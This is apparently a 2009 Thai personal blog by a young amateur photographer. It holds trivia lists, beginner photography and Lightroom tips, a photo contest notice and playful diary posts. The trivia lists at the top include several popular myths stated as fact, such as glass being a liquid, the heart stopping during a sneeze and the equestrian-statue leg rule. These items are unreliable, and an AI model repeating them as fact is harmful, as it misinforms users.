37.ใน 4000 ปีที่ผ่านมา ไม่มีสัตว์ชนิดใหม่ๆ ที่ถูกทำให้เชื่อง

38.เชคสเปียร์ เป็นคนคิดค้นคำว่า assassination (การลอบฆ่า) และ bump (ชนกระทบ)

39.หัวใจมนุษย์สร้างความดันเพียงพอที่จะปั๊มเลือดออกจากร่างกายไป 30 ฟุต

40. หนูสามารถสืบพันธุ์ได้เร็วมาก ใน 18 เดือน

หนูสองตัวจะสามารถมีทายาทมากกว่าล้านตัว

41.การใส่หูฟังแค่ชั่วโมงเดียว ทำให้แบคทีเรียในหูเพิ่มขึ้น 700 เท่าตัว

42.ลิปสติกส่วนใหญ่มีส่วนประกอบของเกล็ดปลา

43.เหมือนกับลายนิ้วมือ....ลายลิ้นทุกคนต่างกัน

44.นิตยสาร time

ได้ยกย่องให้คอมพิวเตอร์เป็นบุคคลแห่งปีในปีค.ศ.1982

45.สถิติจูบนานที่สุดในโลกเป็นของหลุยซา แอลเมโดวาร์ วัย 19 ปีกับแฟนหนุ่ม

ริช แลงเลย์ วัย 22 ปีพวกเขาทำสถิติไว้ที่ 30.59.27 ชม.

46.ตอนที่ f4 ไปเปิดคอนเสิร์ตที่อินโดนีเซียทำให้เด็กนักเรียนเกือบ100 คน

ต้องเรียนซ้ำชั้น เพราะไม่ได้ไปลงทะเบียนเรียนเทอม 2

47.บริษัทผู้ผลิตยาสีฟันดาร์ลี่เป็นเจ้าของเดียวกันกับที่ผลิตยาสีฟันคอลเกต

48.โดนัลด์ ดักส์ ถูกแบนในประเทศฟินแลนด์ เพราะมันไม่ได้สวมกางเกงใน

49.ภาพยนต์เรื่อง nothing hill จ่ายค่าตัวจูเลีย โรเบิร์ต 15 ล้านเหรียญ ( 660 ล้านบาท )

ในขณะที่พระเอกอย่างฮิว แกรนจ์รับค่าตัวเพียง 1 ล้านเหรียญ ( 45 ล้าน บาท)

50.หนังอนิเมชันเรื่อง SouthPark ได้รับการบันทึกลงในหนังสือกินเนสส์บุ๊คว่า

เป็นหนังอนิเมชั่น เรื่องยาวที่หยาบคายที่สุดในโลก

สถิติบันทึกไว้ว่า มีการใช้คำหยาบ 399 คำ พฤติกรรมรุนแรง 221 ครั้ง

และแสดงท่าทางหยาบคาย 128 ครั้ง

51.ขนมทอดกรอบตรา ปูไทย ระบุว่าไม่มีส่วนผสมของเนื้อปู

52.ในน้ำทะเล 100 ตัน จะมีทองคำอยู่ประมาณ 4 กรัม

53.จำนวนแถวของข้าวโพดในแต่ละฝักจะเป็นเลขคู่

54.จิงโจ้เป็นสัตว์เลี้ยงลูกด้วยนมชนิดเดียวที่เดินถอยหลังไม่ได้

57.ยุงชอบเลือดเด็กมากกว่าเลือดผู้ใหญ่

58.แมงมุมทอดรสชาติเหมือนถั่ว

59.ฟันของแมลงสาบอยู่ในท้อง

60.เม่นทุกตัวลอยน้ำได้

61.หมู มีโอกาสเป็นโรคพิษสุราเรื้อรัง

62.นอกจากมนุษย์แล้ว หมีขั้วโลกและจิงโจ้ต่างก็จูบเป็น

ส่วนลิงชิมแปนซีนั้นจูบแบบ "เฟรนช์คิส" ได้ด้วย

63.คนถนัดขวามีอายุเฉลี่ยยืนยาวกว่าคนถนัดซ้ายถึง 9 ปี

64.Hippopotomonstrsesquippedaliophobia คือ ชื่ออาการของคนที่หวาดกลัวคำอ่านยาวๆ

65.ผู้ที่เกิดเดือนมกราคม - มีนาคม

มีแนวโน้มเป็นโรคจิตและโรคคลั่งมากกว่าเดือนอื่นๆ

66.แก้วไม่ได้เป็นของเเข็ง เเต่เป็นของเหลว

67.สมองคนเราหนักประมาณ 3% ของน้ำหนักของร่างกาย

แต่ใช้เลือดไปเลี้ยงถึง 15% ของเลือดทั้งหมด

68.เลือดของกุ้งมังกรเปนสีน้ำเงิน

69.อูฐสามารถหมุนหัว 180 องศา

70.รู้หรือเปล่าว่าเว็บ google ไม่ได้มีประโยชน์แค่หาข้อมูล แต่เป็นเครื่องคิดเลขได้

วันศุกร์ที่ 14 สิงหาคม พ.ศ. 2552

บางเรื่องที่เราไม่รู้ แต่รู้ไว้บ้างก็ดี เช่น.......(อ่านเสะ)

บางทีอาจจะมีอะไรบางอย่าง บางเรื่องที่เราไม่รู้ แต่รู้ไว้บ้างก็ดี เช่น

โคคาโคลา เดิมมีสีเขียว

ชื่อที่มีคนใช้มากที่สุดในโลก คือ โมฮัมมัด

ชื่อของทุกทวีปมีตัวอักษรภาษาอังกฤษตัวแรกกับตัวสุดท้ายเป็นตัวเดียวกัน

กล้ามเนื้อที่แข็งแรงที่สุดในร่างกายของเราคือลิ้น

ชาวอเมริกันมีเครดิตการ์ดโดยเฉลี่ยคนละ 2 ใบ

คำว่า TYPEWRITER เป็นคำที่ยาวที่สุดที่พิมพ์โดยใช้แป้นพิมพ์แถวเดียวกัน

ผู้หญิงกะพริบตาประมาณ 2 เท่าของผู้ชาย

คุณไม่สามารถฆ่าตัวตายโดยการกลั้นลมหายใจ

คุณไม่สามารถเลียข้อศอกตัวเองได้

ผู้คนจะอวยพรกันว่า "Bless you" เมื่อเกิดการจาม เนื่องจากการจามแต่ละครั้ง จะทำให้หัวใจหยุดเต้นประมาณ 1 มิลลิวินาที

ด้วยสรีระของหมู ทำให้มันไม่สามารถมองท้องฟ้าได้

ประโยค "sixth sick sheik's sixth sheep's sick" ถือว่า เป็นประโยคที่ทำให้ลิ้นพันกันมากที่สุด ในภาษาอังกฤษ

ถ้าจามแรงมากเกินไป อาจทำให้คุณซี่โครงหักได้ แต่ถ้าคุณกลั้นการจามไว้ จะทำให้หลอดเลือดที่ศีรษะหรือคอโป่งออกจนเสียชีวิตได้
ผลคูณ 111,111,111 x 111,111,111 = 12,345,678,987,654,321

ถ้า รูปปั้นในสวนสาธารณะเป็นรูปคนขี่ม้าที่ยกสองขาหน้าขึ้นบนอากาศ แสดงว่าคนนั้นเสียชีวิตในสงคราม แต่ถ้าม้ายกขาหน้าขึ้นข้างเดียว คนนั้นเสียชีวิตจากการบาดเจ็บในสงคราม และถ้าม้ายืนอยู่บนขาทั้งสี่ คนผู้นั้นเสียชีวิตเองตามธรรมชาติ

อุปกรณ์ที่ใช้กันทั่วไป อย่างเสื้อกันกระสุน บันไดหนีไฟ ที่ปัดน้ำฝน และเครื่องพิมพ์เลเซอร์ ประดิษฐ์ขึ้นโดยสุภาพสตรี

คำถาม อาหารอย่างเดียวที่ไม่เคยเสีย คืออะไร
คำตอบ - น้ำผึ้ง

จรเข้ไม่สามารถแลบลิ้นออกมาจากปากได้

ทากสามารถจำศีลได้นาน 3 ปี

หมีขั้วโลกทุกตัวถนัดซ้าย

สายการบินอเมริกันแอร์ไลน์สามารถประหยัดเงินไปได้ 40,000 เหรียญ จากการตัดมะกอก 1 ลูก ออกจากเมนูสลัดที่เสิร์ฟในที่นั่งชั้นหนึ่ง

ผีเสื้อชิมรสอาหารด้วยตีนของมัน

ช้างเป็นสัตว์ชนิดเดียวที่ไม่สามารถกระโดดได้

เป็นเวลา 4000 ปีมาแล้ว ที่คนเราไม่มีสัตว์เลี้ยงชนิดใหม่เพิ่มขึ้นมา

โดยทั่วไป คนจะกลัวแมงมุมเกินกว่าความน่ากลัวของมัน

เชคสเปียร์ เป็นผู้สร้างคำว่า 'assassination' และ 'bump'.

Stewardesses เป็นคำที่ยาวที่สุด ที่พิมพ์สัมผัสโดยใช้แต่มือซ้าย

ถ้าไม่ถูกยาฆ่าแมลง มดจะตกลงพื้นโดยลงทางด้านขวา

เก้าอี้ไฟฟ้าประดิษฐ์ขึ้นโดยทันตแพทย์

การบีบตัวของหัวใจของคน สามารถทำให้เกิดความดันเพื่อขับเลือดไปทั่วร่างกาย แรงดันนี้สามารถทำให้เลือดให้พุ่งไปได้ไกล 30 ฟุต

หนูขยายพันธุ์ได้อย่างรวดเร็ว ในเวลา 18 เดือน หนู 2 ตัว สามารถทำให้เกิดลูกหลานได้มากกว่า 1 ล้านตัว

การสวมหูฟังเพียง 1 ชั่วโมง จะทำให้จำนวนแบคทีเรียในหูเพิ่มขึ้น 700 เท่า

ไฟแช็คประดิษฐ์ขึ้นก่อนหน้าไม้ขีดไฟ

ลิปสติกส่วนใหญ่จะมีส่วนผสมของเกล็ดปลา

นอกจากลายพิมพ์นิ้วมือแล้ว ลายพิมพ์ลิ้นของแต่ละคนก็แตกต่างกัน

สุดท้าย 99% ของคนที่อ่านเรื่องนี้ จะพยายามเลียข้อศอกตัวเอง

วันเสาร์ที่ 1 สิงหาคม พ.ศ. 2552

แข่งขันปรับแต่งภาพภาพ





เรื่องนี้เด็ดมากและคงจาเด็ดกว่านี้ถ้าทุกคนช่วยเอารูปภาพในบทความ
นี้ไปและเอามันไปปรับแต่งในโปรแกรมใดก็ได้-ผู้ชนะจะได้เพลงArtnoi
ซึ่งตัดต่อในGarageBandฟรีแบบไม่คิดตังค์-อย่าลืมซะล่ะ

วิธีการส่งเข้าประกวด-ส่งมาที่ artdrawin@gmail.com

วันศุกร์ที่ 31 กรกฎาคม พ.ศ. 2552

เคล็ด(ไม่)ลับ ปรับภาพขาวดําให้สวยด้วยLightroom2






แฮ่มๆขอเริ่มเลยละกัน-บทความนี้มันยาวเพราะต้องบอกเคล็ด(ไม่)ลับ
เกี่ยวกับการปรับภาพขาวดํา-ก่อนอื่นคุณต้องดูรูปข้างบนก่อน
ถ้าคุณอยากได้รูปแบบที่2(ข้างล่าง)คุณก้อแค่กดGrayscaleในTreatment
ที่อยู่ด้านล่างลงมาจากชื่อของพาเนลBasicในโมดูลDevelopอ่ะนะ
แต่ถ้าอยากได้แบบที่1(รูปบนสุด)สิ่งที่คุณต้องทําก็คือ
เชื่อผมและไว้ใจผม..โอเค๊?-เริ่มเลยดีกว่า

ขั้นตอนแรกคุณต้องกดGrayscaleในTreatment
ที่อยู่ด้านล่างลงมาจากชื่อของพาเนลBasicในโมดูลDevelopก่อน
และไปยังตัวเลื่อนBlacksและลากไปจนกว่าคุณจะพอใจ
2-คุณไปเร่งความสว่างที่Exposureให้มากโดยไม่ให้ภาพสว่างจ้า(ตามใจคุณ)
3-ลากRecoveryไปทางขวาตามความพอใจของคุณ
4-ลากClarityไปตามความพอใจ
5-ไปที่พาเนลTone Curveแล้วไป Point Curveแล้วกดเลือกMedium Contrast
(ถ้าภาพของคุณเป็นJPEGถ้าภาพคุณเป็นRAWก็เลือกStrong Contrast)
6-ลดBrightnessตามความพอใจคุณ

จบแล้วจ้า

ปล.ถ้าอยากได้เหตุผลก็ไปดูที่หนังสือ The Adobe Photoshop Lightroom2 Book..ของScott Kelbyราคา345บาท

วันศุกร์ที่ 24 กรกฎาคม พ.ศ. 2552

มาทักทาย

เอ่อ ยังงงอยู่เหมือนกัน แต่เอาเป็นว่ามาเขียนในบล็อคของอ๊าทได้ใช่ไหม เสร็จแน่งานนี้มีแฉ เดี๋ยวหารูปอาร์ทกางเกงตูดขาดเจอก่อนล่ะ สวยแน่

แล้วอีเมล์อาร์ทคืออะไรอ่ะ

วันพฤหัสบดีที่ 23 กรกฎาคม พ.ศ. 2552

Export ไฟล์ภาพในLightroomทําไงฮับ


แหมช่วงนี้กลับมาขยันเขียนอิกแล้ว
(เห็นเจ๊Scott Kelbyเขียนทุกวันเลยอยากเขียนตาม)
คือก่อนหน้านี้ส่วนใหญ่จาเปนการตอบคําถามอ่านะ
แต่เดี๋ยวนี้รุสึกเรามันอ่อนยังไงไม่รุ แต่งภาพซะเริ่ด
แต่ Export ไม่เป๊นนนนนนนนน อยางนี้จาแต่งไปเพื่ออาร๊าย
จิงมะ ตอนนี้ไปดูในพี่กูรู(Google)มีคนบอกมา210วิธี ผมคิดในใจ
<แม่จ้าววววว(เลียนแบบโน้ต อุดม) บอกมาทําไมวะ210วิธี>
3วิธีก้อพอแล้ว แถมมันตอบมาแต่ละอย่าง
"ต้องเข้ารหัสไฟล์แล้วก้อ.........(อุบอิบๆ)"ผมอ่านไปลองทําไป
10วิธีแรก มันเป็นการเอาไฟล์ภาพดิบๆออกไป --*(อย่างนี้จะแต่งไปทําจ๊าย)
ที่เหลือผมก้อเลยข้เกียดอ่าน เลยจามาถามกูรูคอม แค่นี้นะ บะบุย

อยากเก่ง Adobe Photoshop Lightroom2อะ


แฮ่มๆ หลังจากไม่ได้เขียนมา1สัปดาห์เต็มๆ
(เพราะอ่านหนังสือสอบ) ในที่สุดก็ได้ไปอ่าน
หนังสือฟรีที่B2Sอีกรอบ(555สิทธิของผู้บริโภค)
ไปดูหนังสือของท่านเทพ Scott Kelby เขามา
ปรากฏว่าอ่านเล่ม The Adobe Photoshop Lightroom 2 Book
ได้แค่6หน้าพ่อก็บอกให้กลับแระ เซงเวย แต่พออ่านหนังสือ
ของท่าน Scott แล้วก้อฮึด อยากตัดต่อเก่งบ้าง
(ชอบถ่ายรูปเพราะอ่าน The Digital Photography Book นี่แหละ)
แต่ก็ไม่มีเวลาไปอ่านฟรี(เซงจัด)จึงอยากถามเทคนิคกูรูLightroom
ใครรู้บอกมาบ้างนะคร้า-บ

วันอาทิตย์ที่ 12 กรกฎาคม พ.ศ. 2552

Canon EOS 5D






เมื่อวันเสาร์ที่ผ่านมาผมArtnoiได้ไปงานวันเกิดคุณยาย
และ ได้ไปหาน้าชุ(หรือWitchu)(ญาติที่เล่นกล้อง)
เขามีCanon EOS 5D,450Dซึ่งผมใช้แค่450D
(อย่าหัวเราะ รูปสวยเพราะฝีมือไม่ใช่กล้อง-_-'')
เค้าใจดีมากเลย เค้าให้ผมเล่น 5Dซึ่งผมกล้าพูดเลยว่าคดแพง
(ซื้อพร้อมเลนส์เป็นแสนนะน้อง)และก้อให้ผมยืมเลนส์เทพ(เทพแต๊ๆ)
ไปใส่ 450D ใส่ทําไมก้อเล่น5Dอยุ สุดท้ายไม่ได้ใช้450D+เลนส์เทพเลย
ขอบอกว่า5Dเจ๋งมาก ใครงบถึงก้อควรเล่น แต่ผมก้อถ่ายรุปด้วย450D
มาอวดเหมียนกาน(ข้างบนไงน้อง)

วันอาทิตย์ที่ 5 กรกฎาคม พ.ศ. 2552

Tipsการถ่ายภาพให้ดูดี


อย่างแรกคุณจะต้องคิดก่อนว่าคุณจะถ่ายภาพอะไร
เช่นถ่ายนางแบบก็ควรใช้ฉากหลังสีไม่ฉูดฉาด
อย่างที่2ตรวจเช็คสภาพแสงว่านุ่มนวลไหม
อย่างที่3เดินหามุมสวยๆ
เดินหามุมสวยๆก่อนแล้วจึงถ่าย
อย่างที่4ตั้งค่าISO,Shutter Speed,F-stop ให้เหมาะสม
เช่นถ่ายเด็กตอนกระโดลงนํ้าก็ต้องใช้Shutter Speedสูงๆจะได้ไม่เบลอ
อย่างที่5กดชัตเตอร์
กดอย่างนิ่งมือห้ามสั่น

My Top Picture





Tips การถ่ายภาพกีฬา




การถ่ายภาพกีฬาแบบมืออาชีพผมขอแนะนําตรงๆเลยว่า 'ไม่รวยจริง อย่าถ่าย'
ขนาดผมยังไม่ถ่ายเลย(เลนส์อย่างเดียวก็ทําเอากระเป๋าตังค์แฟบแล่ว)แต่ถ้าจะถ่ายลูกๆเล่นกันละก็
ผมมีวิธี การถ่ายภาพกีฬาแบ่งออกเป็น2ประเภทใหญ่ๆ คือ
1แบบไม่ต้องการการเคลื่อนไหวเช่น ว่ายนํ้า ฟุตบอล เจ็ตสกี กระโดดไกล ปิงปอง แบดมินตัน
วิธีการถ่ายภาพแบบนี้ก็คือ ใช้ความเร็วชัตเตอร์สูงๆแค่นั้น จบ
2แบบต้องการการเคลื่อนไหวเล็กน้อยเช่น วิ่งแข่ง ปิงปอง,ฟุตบอลและแบดมินตันบางช่วง(เช่นลูกตบและลูกยิง)

วันเสาร์ที่ 4 กรกฎาคม พ.ศ. 2552

Tipsการถ่ายภาพนํ้าตก




หากคุณอยากถ่ายภาพนํ้าตกล่ะก้อง่ายๆลองทําตามที่ผมบอกรับรองคุณเป็นมืออาชีพแน่เอาละสิ่งที่คุณต้อง เตรียมก้อมีนิดเดียว
1ไปซื้อขาตั้งกล้องมาสักอัน(หรือหาฐานมั่นคงๆให้กล้อง)
2พลังใจ
แค่นี้ละคุณก้อถ่ายภาพนํ้าตกได้อย่างมีคุณภาพแล้วโดยมีTipsเล็กๆดังนี้
  • ใช้ขาตั้งกล้องคุณภาพดี อย่าลองถือถ่ายด้วยมือเปล่าเลย มันไม่ได้ผล

  • ใช้สปีดชัตเตอร์ช้าๆ ส่วนจะใช้เท่าไหร่นั้น ขึ้นอยู่กับความเร็วของกระแสน้ำ, สภาพแสง และความพอใจของคุณ ลองเลือกใช้ดู

  • เดินหามุมภาพให้ทั่วเสียก่อน แล้วค่อยเตรียมกล้อง บางที อาจมีมุมสวยกว่าที่คุณกำลังจะถ่ายก็เป็นได้ ลองหามุมที่มีสภาพแสงต่างกันดูสิ

  • ปรับตั้งกล้องให้ถ่ายภาพอันเดอร์ดีกว่า เพราะในสภาพแสงพอดีหรือโอเวอร์ อาจทำให้รายละเอียดในส่วนของสายน้ำ สูญเสียไป (เพราะนั่นน่าจะเป็นส่วนที่สว่างที่สุดในภาพ)
  • ใช้ฟิลเตอร์เข้าช่วยในกรณีที่แสงค่อนข้างมาก และสปีดชัตเตอร์ที่ได้ยังเร็วเกินไปเออแล้วใช้ฟิลเตอร์NDสิ รับรองเด็ด!!

  • ไงล่ะผมมีรูปมาฝากด้วยนะถ้าทําตามที่ผมบอกล่ะก้อสวยแน่

    Shutter Speedมันมีไว้ทําไม



    แฮ่มผมว่าชื่อบทความนี้คงทําให้มีแต่คนที่เพิ่งเล่นกล้องโผล่มาดูแหงมเพราะมันดูแล้วเหมือนกระทู้ถามมากกว่า
    แต่จิงๆแล้วมันเอาไว้ตบตา ผมจะเกริ่นให้คุณเข้าใจคร่าวๆก่อนก้อแล้วกัน(ไม่งั้นผมจะสอนคุณจนคุณแทบไม่รู้เรื่องเลยเพราะผมเพิ่งอายุ12เองจึงไม่ค่อยมีประสบการณ์) เอ่อก่อนจะพูดเรื่องความเร็วชัตเตอร์ผมขอเกริ่นเรื่องม่านชัตเตอร์ก่อน(ผมรู้นะบางคนจะพูดว่า'เฮ้ยมันไม่เห็นเกี่ยวกันเลย'แต่พออ่านไปสักพักคุณจะเก็ทเร็วขึ้นแล้วถึงตอนนั้นคุณจะขอบคุณผมเองแหละ)ม่านชัตเตอร์ก็เหมือนกับม่านบนเวทีกับการลืมตาหากเปิดไว้นานจะเห็นภาพในระยะเวลาที่เปิดนั้นนานเหมือนกับ(ต่อไปเป็นภาคทฤษฎี)มีวัตถุหนึ่ง(คิดว่าเป็นรถวิ่งผ่านหน้ากล้อง)เคลื่อนที่ด้วยความเร็ว5m/sec{ผมอยู่รร.บดินทรเดชา (สิงห์ สิงหเสนี)ห้องGiftedครับ}แต่ผมเปิดความเร็วชัตเตอร์ที่1/2secซึ่งจะเห็นวัตถุนั้นเคลื่อนที่เท่กบ2.5mในกล้องทําให้ภาพเบลอเพราะเห็นเคลื่อนที่ตั้ง2.5m
    (วิธีคิด 1sec-5mถ้า1/2secก็ต้องเท่ากับ1/2คูณกับ5ซึ่งเท่ากับ2.5)แต่ถ้าผมเปิดความเร็วชัตเตอร์1/5000sec
    ก้อจะเห็นวัตถุแทบหยุดนิ่ง(เออเคลื่อนที่แค่1/5000คูณ5เอง)แต่ความเร็วชัตเตอร์สูงๆ(ส่วยเยอะๆ)ก้อจะทําให้ภาพมืดได้เพราะระยะเวลาเปิดปิดนิดเดียวทําให้แสงเข้าได้น้อย ภาพข้างบนที่ผมกระโดนั่นคือความเร็วชัตเตอร์สูงส่วนรูปผมวิ่งนั่นคือความเร็วชัตเตอร์ตํ่า

    เคล็ด(ไม่)ลับ ถ่ายภาพชัดลึกชัดตื้นสวยด้วยDSLR





    อะแฮ่ม ขออภัยผู้อ่านที่ชอบอ่านหนังสือของ Scott Kelby เพราะผมยืมทริคเค้ามาเขียนบ่อยมาก
    ตั้งแต่ชื่อบทความไปจนถึงเนื้อเรื่อง ผมชื่นชม Scott Kelbyมากเสียจนอยากถ่ายรูปเก่งเหมือนเขา เอาละพร้อมนะ ผมจะบอกคุณว่าการถ่ายภาพชัดลึกอ่ะ(แบบชัดทั้งภาพ)มันจะดูไม่โดดเด่นเลยหากคนถ่ายไม่วาง
    องค์ประกอบหรือไม่เป็น เช่น ถ่ายภาพเจ้าสาวโดยใช้ค่าF-stopที่F-32ทําให้ภาพชัดลึกแต่ทะลึ่งเอาฉากหลังเป็นดอกไม้บานสะพรั่งสีสันสดใสเชียว การทําแบบนี้ทําให้ไม่มีจุดเด่นในภาพเพราะดอกไม้อาจจะดูเด่นกว่าเจ้าสาวเสียอีกเพราะสีสันสดใสกว่า วิธีแก้ก็จิ๊บๆมีอยู่2แบบแบบละ2อย่าง เอาละก่อนบอกผมขอเอ่ยก่อนว่านี่ยังไม่ถึงเนื้อเรื่องจริงๆเลยนะ เอละเริ่มเลย
    แบบที่1คือให้ทําให้ฉากหลังดูไม่เด่น(ก่อนถ่าย)
    อย่างที่1เปลี่ยนฉากซะ
    อย่างที่ 2ใช้ชัดตื้นทําให้ภาพดอกไม้เบลอๆแต่ทําให้เจ้าสาวชัดทําให้ดูเด่นขึ้น
    แบบที่2คุณถ่ายไปแล้ว มีวิธีแก้อยู่2อย่าง
    1ใช้Adobe Photoshopแก้ฉากหลังด้วยคําสั่งRetouch
    2ถ่ายใหม่(ชะอ้าว)

    ส่วนเคล็ด(ไม่)ลับก้อคือ
    ปรับF-stopน้อยภาพจะสว่างและชัดตื้น
    ปรับF-stopมากภาพจะมืดแต่ชัดลึก

    เรื่องน่ารู้เกี่ยวกับไข่เอ๋ย Post by Artnoi

    ความจิงแล้วชื่อบทความนี้มันไม่เกี่ยวกับบทความหรอก(คุณคงรู้ว่าผมคงไม่เขียนเรื่องมีประโยชน์พรรค์นั้น)
    ที่ผมเขียนชื่อบทความนี้ก้อเพราะอยากดึงดูดผู้อ่าน(ดูไอปิ๊บโป่สิคนอ่านบึม)ดังน้นหากใครสนใจเกี่ยวกับพะโล้
    ละก้อ...อย่าอ่านเลย เพราะมันไม่เกี่ยวกับความรู้ในพะโล้เลยแม้แต่ปิ๊บเดียว

    เอาละก่อนที่ผมจะเกริ่นเรื่องพะโล้ ผมขอเกริ่นเรื่องความแนวของผมก่อน
    (จะไม่อ่านก้อได้เพราะผมแค่เผาพริกเผาเกลือสาปแช่งคนที่ไม่อ่านไปวันๆเท่านั้นแหละ)
    เรื่องแนวๆของผมคือ ตั้งแต่ผมเกิดมาเด็กคนอื่นร้องแงๆแต่รู้ไหมครับผมร้องว่าไง
    ........ผมร้องว่า โอ้เยเอิงเอย โอ้เยเอิงเอย โอ้เยเอิงเอย
    ผมรู้ผมแนวเอาละเข้าเรื่องเลยดีกว่า(รู้ไหมที่ผมเขียนโอ้เยเอิงเอยเยอะๆเนี่ยเพราะผมไม่มีไรจะเขียน)

    เจ้าหน้ากระทรวงแรงงาน ที่ร่วมกันต้มไข่ และปอกเปลือกไข่จำนวน 10,000 ฟอง เพื่อนำไปทำไข่พะโล้ 3 เทวดา เลี้ยงผู้ใช้แรงงานในวันที่ 1 พฤษภาคม 2552 วันแรงงานแห่งชาติ ที่บริเวณมณฑลพิธีท้องสนามหลวง โดยนางอัมพร กล่าวว่า ในวันนี้เป็นการให้เจ้าหน้าในกระทรวงแรงงาน ทั้ง 5 หน่วย ประกอบด้วย สำนักงานปลัดกระทรวงแรงงาน กรมสวัสดิการและคุ้มครองแรงงาน กรมการจัดหางาน กรมพัฒนาฝีมือแรงงาน และสำนักงานประกันสังคม ได้มีส่วนร่วมในการทำไข่พะโล้ 3 เทวดา ให้ผู้ใช้แรงงานได้รับประทาน
    รู้รึยางกระทรวงแรงงานน่ะมีงบเยอะมากเลยหรอฟะเอาไข่10000ฟองไปเลี้ยงข้าวคนงานเนี่ย -_-''
    นี่ยังไม่นับค่าผงพะโล้เลยนะ แต่อ่านไปอ่านมาก้อดูมีเกร็ดสาระเนอะ 555 โอ้เยเอิงเอย โอ้เยเอิงเอย โอ้เยเอิงเอย

    วันพฤหัสบดีที่ 4 มิถุนายน พ.ศ. 2552

    ที่เรียนพิเศษ Post by artnoi

    รู้มะเวลาผมจะร้องโอ้เยนะ
    สิ่งแรกที่ผมจะร้องคือโอ้
    จากนั้นค่อยร้องเย(แหงละคงไม่มีใครร้องเยโอ้หรอก)
    ซึ่งมันดูเหมือนจะไม่เกี่ยวกับชื่อบทความแต่ถ้าวิเคราะห์ดีๆ
    คุณจะรู้ว่ามันเกี่ยวยังไง(ลองอ่านทบทวนดีๆสิผมรู้คุณทําได้)
    ถ้าคุณอยากรู้ว่าเกี่ยวอย่างไรล่ะก้อจงอ่านบทความติงๆ(ต๊อง)
    ต่อไป

    การร้องโอ้เยมันเกี่ยวกับการเรียนพิเศษอย่างนี้
    1วิชาก็เหมือนกับการร้องโอ้เย
    2ลําดับในการเรียนรู้ก้อเหมือนกับร้องโอ้เย(เหมือนกับเรียน+ก่อน-ไง
    นี่เหมือนกับเยกับโอ้อีกน่ะแหละ)
    3ความตั้งใจในการเรียนรู้ก้อเหมือนกับความตั้งใจในการร้องโอ้เย

    เข้าใจกันอ๊ะยางถ้ายังไปถามartnoiดีกว่า
    (หรือทาE-mail , artdrawin@gmail.com)

    ความฉลาด......น้อย Post by artnoi

    จิงๆแล้วบทความนี้้มันไม่เกี่ยวกับห้้องของเรา
    หรอกครับ จิงๆแล้วควรเขียนว่า
    ไม่ควรตั้งใจอ่านด้วยซํ้าไป
    เพราะมันเป็นเรื่องของผมเอง(เออนั่นสิ)
    แต่ถ้าจะแอบอ่านละก้อไม่ต้องกลัวหรอก
    ผมไม่ไปบอกใครหรอกเชื่อเหอะ
    เพราะผมเก่งเกี่ยวกับการเก็บความลับมาก
    ผมรู้มาตั้งน้านนานหลายปีแล้วว่าArea51
    เก็บบางอย่างที่ลึกลับมากเอาไว้
    ทีแท้ก้อคือลูกชายของเอลวิสที่เกิดจากแม่ต่างดาว
    ผมยังอุบเอาไว้ไม่บอกใครเลยแม้แต่วิญญาณมดสักตัว

    โอเคเข้าเรื่องกันเลยดีกว่า
    ผมส่งงาน,รูป,จดหมาย(Electronics-mail)
    ไปทางApplicationของAppleที่ชื่อMail
    ปรากด(หา ต ปะตักไม่เจอ)
    ว่ารับได้อย่างเดียวแต่ส่งไม่ได้ทําให้ผมเครียดมาก
    จนต้องไปหาหนังสือมาอ่าน(อ่านฟรีในร้าน)
    เป็นเวลา1สัปดาห์ ผมทนไม่ไหวจนร้องโอ้เยไป7ครั้ง
    และก้อนึกออกจนได้ว่า....ลืมใส่E-mail Address -_-"
    ซึ่งสําคัญมากในการส่งเมล(ลืมไปด๊าย)
    เพราะเดิมเวลาจะส่งเมลให้จีนหรือรุ่นที่10(อย่าหัวเรอะมันเปนเรื่องจิง)
    ในช่อง To(ปรกติต้องใส่Address)
    ผมจะเขียนว่า Geneไม่ก็Vongola Peak (Mailมันจะรู้มะ)
    ส่งใหพ่อก็จะเขียนว่าDad(สมควรกับชื่อบทความ)
    ส่งให้คนที่แอบปิ๊งก้อจะเขียนว่าMy girl friend
    สรุปก้อคือผม......ฉลาดน้อย(ยอมรับความจิง)

    วันศุกร์ที่ 29 พฤษภาคม พ.ศ. 2552

    Artnoi กับ iPhoto

    คุณรู้ไหม1ในโปรแกรม
    ที่ผมชอบที่สุดใน Mac ก้อคือ iPhoto
    ผมว่าร้อยละ 75 ของคนที่ใช้ Mac
    ซื้อมาก้อเพราะไอ้โปรแกรมเนี่ยแหละ

    มันไม่ใช่กระแสตลาดนะเพราะมันเจ๋งจิงๆ
    เช่นทําสมุดภาพที่พิมออกมาได้จิงๆ
    ทําปฏิทินภาพที่พิมออกมาได้จิง
    และเมื่อคุนลองใช้แล้วทําไปหั้ยเพื่อนของคุณ
    เพื่อนของคุนก้อจะบอกว่า นายทําจิงๆหรอ
    เก่งมากมันเหมือนมือโปรเลยนะ ตั้งแต่ตอนนั้นแหละ
    ที่คุนจะรู้สึกตัวลอยจนทําให้คุนทําอะไรเจ๋งออกมาอิก
    แล้วคุนก้อจะเริ่มลํ้าเส้นออกมาจากวงการทําสมุดภาพมืออาชีพ
    (นิดนึง:เกริ่นนิดนึงผมเปรียบความรู้สึกน้นเหมีอนกับ สมมติว่าคุนคือ
    แฟนหนังเรื่อง Seven Days to leave my wife
    หากคุนแต่งตัวเลียนแบบย้งคุนก้อยังไม่ลํ้าเส้น
    แต่หากคุนเป็นแฟนกับพิมล่ะก้อนั่นแหละที่เรียกว่าลํ้าเส้น)
    มาเป็นเซียน iPhoto เมื่อคุนรู้สึกตัวอิกที
    คุนก้อมีคนมาเข้าแถวรอรับลายเซ็นของคุนเป็น100คนแล้ว
    ถึงตอนนั้นอย่าหาว่า Artnoi ไม่เตือนล่ะ

    Scott Kelby

    Scott Kelbyเป็นคนที่ผมชื่นชม
    และเคารพ เพราะผมเนี่ยนะอยากถ่ายรูปเก่งเหมือนเขา
    อยากเขียนหนังสือเก่งๆแบบเขา
    อยากเขียนBlogเก่งเหมือนเขา
    อยากร้องโอ้เยเก่งแบบเขา(อันนี้มะเกี่ยว)

    Scott Kelbyเขียนหนังสือเรื่อง
    The Mac OS X Leopard Book
    ที่ทําให้ผมใช้Macเป็น
    เขียนหนังสือสอนการถ่ายรูป

    หากใครมีโอกาสก้อไปอ่านหนังสือของScott Kelbyได้นะครับ

    วันพฤหัสบดีที่ 28 พฤษภาคม พ.ศ. 2552

    การบ้าน 28/05/2009 Post by artnoi

    วันนี้ก้อเช่นเคย
    พอกลับบ้านปุ๊บก้อร้องโอ้เยปั๊บ
    (เกี่ยวกับหัวข้อมั่กๆ -_-'' )
    หลังจากร้องโอ้เยผมก้อร้องโอ้เยอีก
